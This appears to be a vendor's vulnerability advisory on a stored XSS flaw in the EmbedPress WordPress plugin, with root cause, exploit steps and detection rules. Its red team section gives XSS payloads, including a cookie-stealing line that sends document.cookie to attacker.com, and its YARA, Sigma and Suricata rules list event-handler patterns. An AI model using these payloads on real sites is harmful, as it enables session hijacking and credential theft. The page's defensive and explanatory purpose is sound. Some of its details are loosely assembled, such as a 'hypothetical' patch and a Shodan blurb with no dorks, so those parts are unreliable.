CVE-2024-2128
Executive Summary
CVE-2024-2128 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to and including 3.9.10). The flaw resides in the plugin's embed widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts into pages. When a victim accesses the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability is particularly dangerous in the WordPress ecosystem because Contributor-level access is relatively easy to obtain in multi-author environments. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for widespread impact due to the stored nature of the payload.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been identified, but the lack of a patch from the vendor increases risk for all sites using EmbedPress. Administrators should monitor for updates and consider temporary removal of the plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs Contributor-level access.
- User Interaction (UI): None (N) – No user action is needed for the script to execute.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is 6.4, the ease of exploitation and the prevalence of WordPress make this a significant threat for affected sites.
Deep Dive & Mechanics
The vulnerability exists in the embedpress shortcode or block handler. The plugin fails to sanitize user-supplied attributes such as url, width, height, or custom CSS classes. When an attacker inserts a payload like " onmouseover="alert(1)", the attribute is rendered directly into the HTML without escaping.
Root Cause: The plugin uses esc_attr() inconsistently or not at all for certain attributes. In the vulnerable code, attributes are concatenated directly into the output HTML string, allowing an attacker to break out of the attribute context and inject event handlers or script tags.
Attack Flow:
- Attacker logs in with Contributor-level credentials.
- Creates a new post or page and inserts the EmbedPress block.
- In the block settings, the attacker modifies an attribute (e.g.,
url) to include a malicious payload:https://example.com" onfocus="alert(document.cookie)" autofocus="true. - The payload is stored in the database.
- When an administrator or visitor views the page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// In embedpress.php or similar
$output = '<div class="embedpress-wrapper" data-url="' . $attributes['url'] . '">';
// No sanitization on $attributes['url']
Patched Code (hypothetical):
$output = '<div class="embedpress-wrapper" data-url="' . esc_attr($attributes['url']) . '">';
// Using esc_attr() to escape the attribute
The patch would require consistent use of esc_attr() for all user-supplied attributes and possibly wp_kses() for HTML content.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with EmbedPress <= 3.9.10
- Contributor-level account credentials
Exploit Steps:
- Log in to WordPress as a Contributor.
- Create a new post.
- Add the EmbedPress block.
- In the block's URL field, enter:
https://example.com" onmouseover="alert('XSS')" autofocus="true - Publish the post.
- When any user visits the post, the XSS triggers.
Advanced Payload:
https://example.com" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts created by Contributor-level users containing suspicious attributes in EmbedPress blocks.
- Look for unusual URL patterns in the
wp_poststable, specifically inpost_contentcontainingembedpresswith unescaped quotes.
Prevention:
- Disable the EmbedPress plugin until a patch is available.
- Restrict Contributor-level permissions to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in post content.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/embedpress/embedpress.php(version <= 3.9.10) - Database: Posts with
post_contentcontainingembedpressand suspicious HTML attributes (e.g.,onmouseover,onfocus,autofocus). - Network: Outbound requests to attacker-controlled domains from the WordPress admin interface.
- Logs: WordPress debug logs showing unexpected attribute values in EmbedPress blocks.
Detection Engineering
YARA Rule
rule CVE_2024_2128_EmbedPress_XSS {
meta:
description = "Detects malicious EmbedPress block attributes indicative of CVE-2024-2128"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2128"
strings:
$xss_payload = /embedpress.*(?:on\w+\s*=|javascript:|<script)/i
condition:
$xss_payload
}
Sigma Rule
title: CVE-2024-2128 EmbedPress Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via EmbedPress plugin attributes
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'embedpress'
http.body|contains|all:
- 'onmouseover'
- 'onfocus'
- 'autofocus'
condition: selection
falsepositives:
- Legitimate use of event handlers in rare cases
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2128 EmbedPress Stored XSS Attempt"; flow:to_server,established; content:"embedpress"; http_uri; content:"onmouseover"; http_client_body; content:"onfocus"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete EmbedPress until a patched version is released.
- Audit existing content – Scan all posts and pages for malicious EmbedPress blocks. Use the YARA rule above to automate detection.
- Review user permissions – Remove Contributor-level access from untrusted users.
Long-term Fix:
- The vendor must release a patched version that properly sanitizes all user-supplied attributes using
esc_attr()andwp_kses(). - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- If the plugin cannot be disabled, use a WAF to block requests containing
on*=attributes in theembedpresscontext.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.